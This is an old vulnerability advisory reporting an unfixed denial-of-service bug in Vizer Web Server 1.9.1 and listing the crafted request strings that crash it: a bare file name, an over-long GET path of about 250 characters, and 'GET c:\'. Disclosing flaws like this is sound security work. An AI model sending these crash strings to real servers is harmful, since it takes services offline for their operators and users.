Donato Ferrante


Application: Vizer Web Server
http://sourceforge.net/projects/vizerwebserver/

Version: 1.9.1

Bug: Denial Of Service

Author: Donato Ferrante
e-mail: fdonato@autistici.org
web: www.autistici.org/fdonato


xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxx

1. Description
2. The bug
3. The code
4. The fix



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxx

----------------
1. Description:
----------------

Vendor's Description:

"Vizer is an open source web server written in Visual Basic."



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxx

-------------
2. The bug:
-------------

The program doesn't well menage the input strings received, so an
attacker is able to crash the web server, sending a crafted string.



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxx

-------------
3. The code:
-------------

To test the vulnerability, send to the web server a string like:

index.htm
( without specifying GET and HTTP )

or:

GET /aaaaaa[ 250 of a ]aaa HTTP/1.1
( specifying GET and HTTP )

GET /aaaaaa[ 250 of a ]aaa
( specifying only GET )

or:

GET c:\
( specifying only GET )



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxx

------------
4. The fix:
------------

No fix.
The vendor has not answered to my signalations.



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxx